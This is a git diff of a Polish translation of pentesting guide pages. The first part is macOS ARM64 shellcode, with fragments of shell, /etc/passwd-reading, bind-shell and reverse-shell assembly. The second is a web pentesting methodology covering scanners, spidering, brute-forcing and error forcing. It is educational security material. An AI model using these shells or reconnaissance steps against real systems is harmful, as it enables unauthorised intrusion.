-- Jeśli się powiedzie, zakończ
-- Zdobądź runtimeLock (odczyt)
-- Jeśli (realize && !cls->realized) zrealizuj klasę
-- Jeśli (initialize && !cls->initialized) zainicjuj klasę
-- Spróbuj pamięci podręcznej klasy:
-- Jeśli się powiedzie, zakończ
-- Spróbuj listy metod klasy:
-- Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
-- Spróbuj pamięci podręcznej klasy nadrzędnej:
-- Jeśli się powiedzie, zakończ
-- Spróbuj listy metod klasy nadrzędnej:
-- Jeśli znaleziono, wypełnij pamięć podręczną i zakończ
-- Jeśli (resolver) spróbuj resolvera metod i powtórz od wyszukiwania klasy
-- Jeśli nadal tutaj (= wszystko inne nie powiodło się) spróbuj forwardera
+- Perform optimistic cache lookup:
+- If successful, done
+- Acquire runtimeLock (read)
+- If (realize && !cls->realized) realize class
+- If (initialize && !cls->initialized) initialize class
+- Try class own cache:
+- If successful, done
+- Try class method list:
+- If found, fill cache and done
+- Try superclass cache:
+- If successful, done
+- Try superclass method list:
+- If found, fill cache and done
+- If (resolver) try method resolver, and repeat from class lookup
+- If still here (= all else has failed) try forwarder
 
 ### Shellcodes
 
@@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
 echo -n '\\x'$c
 done
 ```
-Dla nowszych macOS:
+Dla nowszych wersji macOS:
 ```bash
 # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
 for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@@ -467,7 +470,7 @@ return 0;
 
 #### Shell
 
-Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i wyjaśnione.
+Pobrane z [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) i wyjaśnione.
 
 {{#tabs}}
 {{#tab name="with adr"}}
@@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
 ```
 {{#endtab}}
 
-{{#tab name="z użyciem stosu"}}
+{{#tab name="with stack"}}
 ```armasm
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
 .global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@@ -518,7 +521,7 @@ svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter,
 ```
 {{#endtab}}
 
-{{#tab name="z adr dla linux"}}
+{{#tab name="with adr for linux"}}
 ```armasm
 ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@@ -537,9 +540,9 @@ sh_path: .asciz "/bin/sh"
 {{#endtab}}
 {{#endtabs}}
 
-#### Czytaj za pomocą cat
+#### Odczyt przy użyciu cat
 
-Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) to tablica parametrów (co w pamięci oznacza stos adresów).
+Celem jest wykonanie `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, więc drugi argument (x1) jest tablicą params (co w pamięci oznacza stack adresów).
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
 .align 2
 passwd_path: .asciz "/etc/passwd"
 ```
-#### Wywołaj polecenie z sh z fork, aby główny proces nie został zabity
+#### Wywołaj polecenie przez sh z forka, aby główny proces nie został zabity
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -611,7 +614,7 @@ touch_command: .asciz "touch /tmp/lalala"
 ```
 #### Bind shell
 
-Bind shell z [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s) na **porcie 4444**
+Bind shell z [https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s] na **porcie 4444**
 ```armasm
 .section __TEXT,__text
 .global _main
@@ -695,7 +698,7 @@ svc  #0x1337
 ```
 #### Reverse shell
 
-Z [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s), revshell do **127.0.0.1:4444**
+Z [https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s], revshell do **127.0.0.1:4444**
 ```armasm
 .section __TEXT,__text
 .global _main

src/network-services-pentesting/pentesting-web/README.md

@@ -1,12 +1,12 @@
-# 80,443 - Pentesting Web - Metodologia
+# 80,443 - Pentesting Web Methodology
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Podstawowe informacje
 
-Usługa webowa jest najbardziej **powszechną i rozbudowaną usługą**, a istnieje wiele **różnych typów podatności**.
+Usługa webowa jest **najczęstszą i najbardziej rozbudowaną usługą**, a także występuje wiele **różnych typów podatności**.
 
-**Domyślne porty:** 80 (HTTP), 443(HTTPS)
+**Domyślne porty:** 80 (HTTP), 443 (HTTPS)
 ```bash
 PORT    STATE SERVICE
 80/tcp  open  http
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Web API Guidance
+### Wytyczne Web API
 
 
 {{#ref}}
@@ -26,46 +26,46 @@ web-api-pentesting.md
 
 ## Podsumowanie metodologii
 
-> W tej metodologii założymy, że będziesz atakować pojedynczą domenę (lub subdomenę) i tylko ją. Zastosuj tę metodologię do każdej odkrytej domeny, subdomeny lub IP z nieokreślonym serwerem web w zakresie.
+> W tej metodologii zakładamy, że będziesz atakować jedną domenę (lub subdomenę) i tylko ją. Zatem powinieneś stosować tę metodologię dla każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem WWW w zakresie.
 
-- [ ] Rozpocznij od **identyfikacji** **technologii** używanych przez serwer web. Szukaj **sztuczek**, które warto mieć na uwadze podczas dalszego testu, jeśli uda Ci się poprawnie zidentyfikować technologię.
-- [ ] Czy istnieje jakaś **znana podatność** dla wersji tej technologii?
-- [ ] Czy używana jest jakaś **znana technologia**? Jakieś **przydatne sztuczki** do wydobycia dodatkowych informacji?
-- [ ] Czy należy uruchomić jakiś **wyspecjalizowany skaner** (np. wpscan)?
-- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiadomo, czy coś znajdą lub odkryją ciekawe informacje.
-- [ ] Zacznij od **początkowych kontroli**: **robots**, **sitemap**, błąd **404** oraz **SSL/TLS scan** (jeśli HTTPS).
-- [ ] Rozpocznij **spidering** strony: czas **odnaleźć** wszystkie możliwe **pliki, foldery** oraz **używane parametry.** Sprawdź też pod kątem **specjalnych odkryć**.
-- [ ] _Zauważ, że za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go spiderować._
-- [ ] **Directory Brute-Forcing**: Spróbuj brute-force wszystkich odkrytych folderów w poszukiwaniu nowych **plików** i **katalogów**.
-- [ ] _Zauważ, że za każdym razem, gdy podczas brute-forcingu lub spideringu odkryty zostanie nowy katalog, należy go Brute-Forced._
-- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **odkrytych plików** przez dodanie typowych rozszerzeń kopii zapasowych.
-- [ ] **Brute-Force parameters**: Spróbuj **odnaleźć ukryte parametry**.
-- [ ] Gdy **zidentyfikujesz** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje związanych z nimi **vulnerabilities**.
+- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer WWW. Szukaj **trików**, które warto mieć na uwadze w trakcie dalszego testu, jeśli uda się zidentyfikować technologię.
+- [ ] Czy istnieje jakaś **known vulnerability** dla wersji danej technologii?
+- [ ] Czy używana jest jakaś **well known tech**? Jakieś **useful trick** pozwalające wydobyć więcej informacji?
+- [ ] Czy są jakieś **specialised scanner** do uruchomienia (jak wpscan)?
+- [ ] Uruchom **general purposes scanners**. Nigdy nie wiadomo, czy coś znajdą lub czy wyciągną interesujące informacje.
+- [ ] Zacznij od **initial checks**: **robots**, **sitemap**, błąd **404** oraz **SSL/TLS scan** (jeśli HTTPS).
+- [ ] Rozpocznij **spidering** strony: czas znaleźć wszystkie możliwe **files, folders** i **parameters being used.** Sprawdź także **special findings**.
+- [ ] _Uwaga: za każdym razem gdy odkryjesz nowy katalog podczas brute-forcingu lub spideringu, powinien on zostać spiderowany._
+- [ ] **Directory Brute-Forcing**: Spróbuj brute-force wszystkich odkrytych folderów w poszukiwaniu nowych **files** i **directories**.
+- [ ] _Uwaga: za każdym razem gdy odkryjesz nowy katalog podczas brute-forcingu lub spideringu, powinien on zostać Brute-Forced._
+- [ ] **Backups checking**: Sprawdź, czy możesz znaleźć **backups** **discovered files** poprzez dopisanie typowych rozszerzeń kopii zapasowych.
+- [ ] **Brute-Force parameters**: Spróbuj znaleźć ukryte parametry (**hidden parameters**).
+- [ ] Gdy **identified** wszystkie możliwe **endpoints** akceptujące **user input**, sprawdź wszystkie rodzaje **vulnerabilities** związanych z nimi.
 - [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Wersja serwera (Podatna?)
+## Wersja serwera (podatna?)
 
 ### Identyfikacja
 
-Sprawdź, czy istnieją **znane podatności** dla wersji serwera, która jest uruchomiona.\
-**Nagłówki HTTP i cookies odpowiedzi** mogą być bardzo przydatne do **identyfikacji** używanych **technologii** i/lub **wersji**. **Nmap scan** może zidentyfikować wersję serwera, przydatne mogą być także narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com):
+Sprawdź, czy dla uruchomionej wersji serwera istnieją **known vulnerabilities**.  
+**HTTP headers** oraz **cookies** odpowiedzi mogą być bardzo przydatne do identyfikacji używanych **technologies** i/lub **version**. **Nmap scan** może zidentyfikować wersję serwera, ale przydatne mogą być też narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) lub [**https://builtwith.com/**](https://builtwith.com):
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Szukaj [**podatności wersji aplikacji webowej**](../../generic-hacking/search-exploits.md)
+Szukaj **dla** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
-### **Sprawdź, czy istnieje WAF**
+### **Sprawdź, czy jest WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
 
-### Triki dotyczące technologii webowych
+### Triki technologii webowych
 
-Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych:
+Kilka **trików** do **znajdowania podatności** w różnych dobrze znanych **technologiach** używanych:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -101,25 +101,26 @@ Kilka **sztuczek** do **znajdowania podatności** w różnych dobrze znanych **t
 - [**Wordpress**](wordpress.md)
 - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
 
-_Pamiętaj, że ten **same domain** może korzystać z **different technologies** na różnych **ports**, **folders** i **subdomains**._\
-Jeśli aplikacja webowa używa którejkolwiek z dobrze znanych technologii/platform wymienionych wcześniej lub **any other**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!).
+_Weź pod uwagę, że ta **sama domena** może używać **różnych technologii** na różnych **portach**, w różnych **folderach** i na różnych **subdomenach**._\
+Jeśli aplikacja webowa używa którejkolwiek znanej **technologii/platformy wymienionych wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **wyszukać w Internecie** nowych trików (i daj mi znać!).
 
-### Przegląd kodu źródłowego
+### Source Code Review
 
-Jeśli **source code** aplikacji jest dostępny na **github**, oprócz przeprowadzenia przez siebie **White box test** aplikacji, istnieją pewne informacje, które mogą być **useful** dla bieżącego **Black-Box testing**:
+Jeżeli **kod źródłowy** aplikacji jest dostępny w **github**, oprócz przeprowadzenia przez **Ciebie testu White box** aplikacji istnieją **pewne informacje**, które mogą być **przydatne** dla bieżącego **Black-Box testing**:
 
-- Czy istnieje plik **Change-log or Readme or Version** lub cokolwiek z **informacjami o wersji dostępnymi** przez web?
-- W jaki sposób i gdzie są przechowywane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (nazwy użytkowników lub hasła)?
+- Czy istnieje plik **Change-log or Readme or Version** lub coś z **version info accessible** przez web?
+- Jak i gdzie są zapisane **credentials**? Czy istnieje jakiś (dostępny?) **file** z credentials (usernames or passwords)?
 - Czy **passwords** są w **plain text**, **encrypted** czy jaki **hashing algorithm** jest używany?
 - Czy używa jakiegoś **master key** do szyfrowania czegoś? Jaki **algorithm** jest używany?
 - Czy możesz **access any of these files** wykorzystując jakąś podatność?
-- Czy są jakieś **interesting information in the github** (rozwiązane i nierozwiązane) w **issues**? A może w **commit history** (może jakieś **password introduced inside an old commit**)?
+- Czy na **github** są jakieś **interesujące informacje** (solved and not solved) w **issues**? Albo w **commit history** (może jakieś **password introduced inside an old commit**)?
+
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Automatyczne skanery
+### Automatic scanners
 
 #### Automatyczne skanery ogólnego przeznaczenia
 ```bash
@@ -135,10 +136,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### Skanery CMS
 
-Jeśli używany jest CMS, nie zapomnij **run a scanner**, może znajdziesz coś ciekawego:
+Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może uda się znaleźć coś ciekawego:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** stron pod kątem problemów bezpieczeństwa. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** witryny pod kątem problemów z bezpieczeństwem. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **lub** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -148,45 +149,45 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
-> Na tym etapie powinieneś już mieć pewne informacje o web server używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek, o których warto pamiętać podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś scanner.
+> Na tym etapie powinieneś już mieć pewne informacje o serwerze webowym używanym przez klienta (jeśli przekazano jakieś dane) oraz kilka sztuczek, o których warto pamiętać podczas testu. Jeśli masz szczęście, znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
 
-## Krok po kroku odkrywanie Web Application
+## Step-by-step Web Application Discovery
 
 > Od tego momentu zaczniemy wchodzić w interakcję z aplikacją webową.
 
-### Wstępne sprawdzenia
+### Initial checks
 
-**Domyślne strony z interesującymi informacjami:**
+**Default pages with interesting info:**
 
 - /robots.txt
 - /sitemap.xml
 - /crossdomain.xml
 - /clientaccesspolicy.xml
 - /.well-known/
-- Sprawdź również komentarze na stronach głównych i pomocniczych.
+- Sprawdź także komentarze na stronach głównych i pomocniczych.
 
-**Wymuszanie błędów**
+**Forcing errors**
 
-Web servers mogą **zachowywać się nieoczekiwanie**, gdy do nich wysyłane są nietypowe dane. To może otworzyć **vulnerabilities** lub spowodować **ujawnienie wrażliwych informacji**.
+Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do nich nietypowe dane. To może skutkować ujawnieniem **luki** lub **ujawnienia wrażliwych informacji**.
 
-- Odwiedź **fake pages** takie jak /whatever_fake.php (.aspx,.html,.etc)
-- **Add "\[]", "]]", and "\[\["** w **cookie values** i w wartościach **parameter**, aby wywołać błędy
-- Wygeneruj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
-- Spróbuj **różnych HTTP Verbs** takich jak PATCH, DEBUG lub nieprawidłowych, np. FAKE
+- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.etc)
+- **Dodaj "\[]", "]]", and "\[\["** w **wartościach cookie** i **wartościach parametrów** aby wywołać błędy
+- Wygeneruj błąd, podając wejście jako **`/~randomthing/%s`** na **końcu** **URL**
+- Spróbuj **różnych metod HTTP**, np. PATCH, DEBUG lub błędnych typu FAKE
 
-#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
+#### **Sprawdź, czy możesz wysyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
 
-Jeśli okaże się, że **WebDav** jest **enabled**, ale nie masz wystarczających uprawnień do **uploading files** w katalogu root, spróbuj:
+Jeśli okaże się, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **wysyłania plików** w katalogu root, spróbuj:
 
-- Wykonaj **Brute Force** na credentials
-- **Upload files** przez WebDav do pozostałych znalezionych folderów na stronie. Możesz mieć uprawnienia do przesyłania plików w innych folderach.
+- **Brute Force credentials**
+- **Upload files** przez WebDav do pozostałych znalezionych folderów na stronie. Możesz mieć uprawnienia do uploadu plików w innych folderach.
 
 ### **SSL/TLS vulnerabilites**
 
-- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **vulnerable to MitM**
-- Jeśli aplikacja **wysyła wrażliwe dane (hasła) przez HTTP**, to jest to wysoka podatność.
+- Jeśli aplikacja **nigdzie nie wymusza użycia HTTPS**, to jest **podatna na MitM**
+- Jeśli aplikacja **wysyła dane wrażliwe (hasła) przez HTTP**, to jest to poważna luka.
 
-Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) aby sprawdzić **vulnerabilities** (W programach Bug Bounty prawdopodobnie tego typu podatności nie zostaną zaakceptowane) i użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić vulnerabilities:
+Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **luki** (W programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) oraz użyj [**a2sv** ](https://github.com/hahwul/a2sv) aby ponownie sprawdzić luki:
 ```bash
 ./testssl.sh [--htmlfile] 10.10.10.10:443
 #Use the --htmlfile to save the output inside an htmlfile also
@@ -202,53 +203,53 @@ Informacje o podatnościach SSL/TLS:
 
 ### Spidering
 
-Uruchom jakiś rodzaj **spider** wewnątrz serwisu WWW. Celem spidera jest **znalezienie jak największej liczby ścieżek** w testowanej aplikacji. Dlatego crawlery i zewnętrzne źródła powinny być użyte, aby znaleźć jak najwięcej prawidłowych ścieżek.
+Uruchom jakiś rodzaj **spidera** na stronie. Celem spidera jest **znalezienie jak największej liczby paths** z testowanej aplikacji. Dlatego warto użyć web crawlingu oraz zewnętrznych źródeł, aby odnaleźć jak najwięcej poprawnych paths.
 
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrznych źródłach (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFider dla plików JS i Archive.org jako źródło zewnętrzne.
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, wskazuje także "juicy files".
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. Wyszukuje również w Archive.org
-- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz wskazać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda jednak na nieutrzymywane, prekompilowana wersja jest stara, a obecny kod nie kompiluje się.
-- [**gau**](https://github.com/lc/gau) (go): HTML spider, który używa zewnętrznych dostawców (wayback, otx, commoncrawl)
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ten skrypt znajdzie URL-e z parametrami i je wypisze.
-- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwością beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto też zerknąć na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do ekstrakcji endpointów zarówno w źródle HTML jak i osadzonych plikach javascript. Przydatne dla bug hunterów, red teamów, infosec ninja.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do łatwego odkrywania żądań AJAX. Wygląda na nieutrzymywany.
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dla pliku (HTML) wyciągnie URL-e używając sprytnego regexa, by znaleźć i wyodrębnić względne URL-e z niechlujnych (minifikowanych) plików.
+- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS oraz zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako źródłem zewnętrznym.
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, dodatkowo wskazuje "juicy files".
+- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Przeszukuje też Archive.org.
+- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Wskaż plik z hostami i plik z pathami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider z możliwością renderowania JS. Wygląda na to, że jest nieutrzymywany, dostępna prekompilowana wersja jest stara, a bieżący kod nie kompiluje się.
+- [**gau**](https://github.com/lc/gau) (go): HTML spider korzystający z zewnętrznych dostawców (wayback, otx, commoncrawl).
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Skrypt znajdzie URL-e z parametrami i je wylistuje.
+- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwością renderowania JS.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider z funkcjami beautify dla JS, potrafi wyszukiwać nowe ścieżki w plikach JS. Warto też rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem dla LinkFinder.
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyciągania endpointów zarówno z HTML, jak i osadzonego javascriptu. Przydatny dla bug hunterów, red teamerów, infosec ninja.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Python 2.7 używający Tornado i JSBeautifier do parsowania względnych URL-i z plików JavaScript. Przydatny do odkrywania żądań AJAX. Wygląda na nieutrzymywany.
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dając plik (HTML) wyciąga URL-e używając sprytnego regexa do znajdowania i ekstrakcji względnych URL-i z nieładnych (minified) plików.
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbiera interesujące informacje z plików JS używając kilku narzędzi.
 - [**subjs**](https://github.com/lc/subjs) (go): Znajduje pliki JS.
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane przy ładowaniu strony.
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery contentu łączące kilka opcji poprzednich narzędzi
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które dla danego .js.map URL pobierze dla Ciebie beautified kod JS
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie używane do odkrywania endpointów dla zadanego celu.
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi w wayback i szukając kolejnych linków)
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet poprzez wypełnianie formularzy) i także znajdź wrażliwe info używając specyficznych regexów.
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Ładuje stronę w headless browser i wypisuje wszystkie URL-e załadowane przez stronę.
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do discovery treści łączące kilka opcji poprzednich narzędzi.
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania path i parametrów w plikach JS.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które podając URL do .js.map pobierze dla Ciebie beautified kod JS.
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Narzędzie używane do odkrywania endpointów dla danego targetu.
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkrywa linki z wayback machine (również pobierając odpowiedzi w wayback i szukając dalszych linków).
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (nawet z wypełnianiem formularzy) i również wyszukuje wrażliwe informacje używając specyficznych regexów.
 - [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany, wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów cyberbezpieczeństwa.
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu JavaScript.
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **wyciągania parametrów i endpointów** z requestów, by tworzyć niestandardowe wordlisty do fuzzingu i enumeracji.
-- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego.
-- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisze każdy link, który potrafi znaleźć.
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go): Pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do ekstrakcji URL-i, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **Burp Suite extension** do **ekstrakcji parametów i endpointów** z requestów w celu tworzenia niestandardowych wordlist do fuzzingu i enumeracji.
+- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego zadania.
+- [**Crawley**](https://github.com/s0rg/crawley) (go): Wypisuje każdy link, który jest w stanie znaleźć.
 
 ### Brute Force directories and files
 
-Zacznij **brute-forcing** od katalogu root i upewnij się, że brute-forcujesz **wszystkie** **katalogi znalezione** używając **tej metody** oraz wszystkie katalogi **odkryte** przez **Spidering** (możesz wykonywać to brute-forcing **rekurencyjnie** i dopisywać na początku użytej wordlisty nazwy znalezionych katalogów).\
+Zacznij **brute-forcing** od katalogu root i upewnij się, że przeprowadzasz brute-forcing **wszystkich** **katalogów znalezionych** używając **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz wykonywać brute-forcing **rekursywnie** i dopisywać na początku używanej wordlisty nazwy znalezionych katalogów).\
 Narzędzia:
 
-- **Dirb** / **Dirbuster** - Zawarte w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwalają na auto-signed certyfikaty i wyszukiwanie rekurencyjne. Zbyt wolne w porównaniu z innymi opcjami.
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-signed certyfikaty ale** pozwala na wyszukiwanie rekurencyjne.
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-signed certyfikaty, **nie** posiada **rekurencyjnego** searchu.
